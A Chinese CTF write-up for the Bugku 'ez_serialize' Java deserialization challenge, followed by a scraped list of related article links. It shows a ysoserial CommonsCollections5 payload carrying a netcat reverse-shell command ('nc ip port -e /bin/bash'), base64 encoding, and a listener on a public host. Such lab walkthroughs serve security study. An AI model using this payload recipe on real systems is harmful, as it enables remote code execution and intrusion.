本writeup已经在bugku开放

根据题意,显然是一道JAVA反序列化的题

关于JAVA反序列化漏洞的成因,参见博客https://zhuanlan.zhihu.com/p/422314689

此处只说明解题思路(重复开启场景已经没金币了,用本地环境说明)

下载附件,寻找存在反序列化漏洞的点

阅读pom.xml,发现存在commons-collections组件依赖,其3.1版本存在反序列化漏洞

阅读helloController.java,确定路由为ip:port/hello,状态码变成了400

需要输入请求参数name,注意name会经过base64解码 再进行反序列化,因此在传入参数之前需要对payload进行base64编码

payloiad的构造使用ysoserial,问就是没技术

推荐使用linux安装,具体参照https://blog.csdn.net/weixin_44769042/article/details/121378799(windows安装使用出现奇怪的问题)

查看可用组件漏洞及版本

  java -jar ysoserial-0.0.6-SNAPSHOT-all.jar

选择CommonsCollections5,命令选择nc反弹shell,编码最好在这里进行,不然有奇怪的问题

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "nc ip port -e /bin/bash" |base64 -w0 >poc.bin`

如果构造payload的命令是无法执行的话(比如windows命令),则会输出something is wrong

在公网主机上开启监听

 nc -l -p port

将生成的payload作为name的value输入

在公网主机上ls一下,就可以看到flag,cat flag,over

如果本地可以却不能在靶场实现的话,需要注意的坑:必须使用公网ip才能被nc连接到,因此可能需要申请一个有公网ip的云服务器(我是这么做的)

[BugKu Web]ez_serialize相关推荐

  1. [Bugku][Web][CTF] 9-15 write up

    [说明] 整合资源 简略版本2020Bugku write up Bugku Web第九题 关键字 :/?args=GLOBALS PHP 将所有全局变量存储在一个名为 $GLOBALS[index] ...

  2. Bugku Web CTF-江湖魔头1

    Bugku Web CTF-江湖魔头1 这道题比较有意思,简陋的武侠游戏,打开一看大致了解其功能: (1)基础属性可随机 (2)一共有血量.外功.内功等属性,还有金钱,金钱可用来在商店购买秘籍 (3) ...

  3. Bugku Web CTF-江湖魔头2

    Bugku Web CTF-江湖魔头2 (接1) 然而在最初的尝试中却发现,当我填入修改好的cookie时,刷新页面属性值都为空(是为空而不是显示0),于是考虑是否因为逆运算哪里出现了问题. 仔细查看 ...

  4. Bugku web 聪明的php

    Bugku web 聪明的php 模板注入 打开题目 模板注入 打开题目 得到提示,传递参数 随机传一个参数,得到源码 在这地方卡了挺久的,发现smarty是个模板,测试一下是不是模板注入 确实为sm ...

  5. BugKu——Web——社工-初步收集

    BugKu--Web--社工-初步收集 一.解题思路 这里可以下载辅助,下载下来的是一个压缩包,不过会被当做病毒处理,设置成信任的即可,解压出来是个*.exe双击启动即可 随便输一个QQ和密码 回显都 ...

  6. Bugku—web题解

    前言:最近做了一些Bugku入门的web题目,感觉web题挺有趣的,并非是得出flag,而是可以通过一个题目学习到很多知识. 域名解析 题目说把 flag.baidu.com 解析到123.206.8 ...

  7. Bugku—web(一)

    前言: 最近做了几个bugku的web题,感觉挺有意思的,学到了不少东西:顺便总结下.(= ̄ω ̄=) 1.你必须让他停下: 打开链接,发现有个一直在闪的页面,时不时还会出现张图片:这是用了 js的se ...

  8. [Bugku][Web][CTF] 30-33 write up

    [说明] 整合资源 简略版本2020Bugku write up web30 关键字: txt or file_get_contents(fn)知识点:filegetcontents(fn) 知识点: ...

  9. Bugku web(1—35)

    1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...

最新文章

  1. fflush(stdin)与fflush(stdout)
  2. java super实例_java Super 用法详解及实例代码
  3. c语言掌上通,计算机二级C语言掌上通在哪下载安装?计算机掌上通好用吗?
  4. Android之简单的文件夹选择器实现
  5. 739. 每日温度 golang (list实现)
  6. 2018.03.12、Android知识点-Java篇
  7. UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0xbd in position 198: illegal multibyte sequence
  8. the value of esp was not properly saved across a function call异常
  9. opencvpython图像代码_PythonOpenCV各种图像库的图像读写 增强 方式的简单介绍(附代码)...
  10. pay-spring-boot 开箱即用的Java支付模块,整合支付宝支付、微信支付
  11. Ansible入门使用
  12. 动态修改php的配置项
  13. PMP培训机构转个圈
  14. STM8S103F3P6锁死问题及解锁
  15. 中外合作办学硕士—社科院杜兰金融管理硕士,给23考研加一重保险
  16. CSS:CSS的外联样式
  17. 关于火车票12306
  18. android开发笔记之联系人百家姓功能的实现
  19. 转:查尔斯·汉迪:你是谁,比你做什么更重要
  20. 软件开发团队成员分工_分析软件开发人员的能力–选择合适的团队成员

热门文章

  1. 主流报表开发工具FastReport.Net全新发布,邀您体验最新版试用
  2. 408计算机组成考试大纲,2021计算机考研408大纲:计算机组成原理部分解析及备考指导...
  3. C语言网 1881: 蓝桥杯2017年第八届真题-Excel地址(python)
  4. Java 平衡二叉树之单旋(左旋,右旋)与双旋
  5. 【实验技术笔记】融合基因 + 长片段基因 + 突变基因 表达载体构建
  6. 苹果字体怎么改_9102年了,公众号还不会换字体?
  7. 使用PM进行硬盘分区
  8. 错误代码:DNS_PROBE_FINISHED_NXDOMAIN解决办法
  9. 刷脸支付在新零售行业线上线下加速融合
  10. java中的返回值到底有什么用?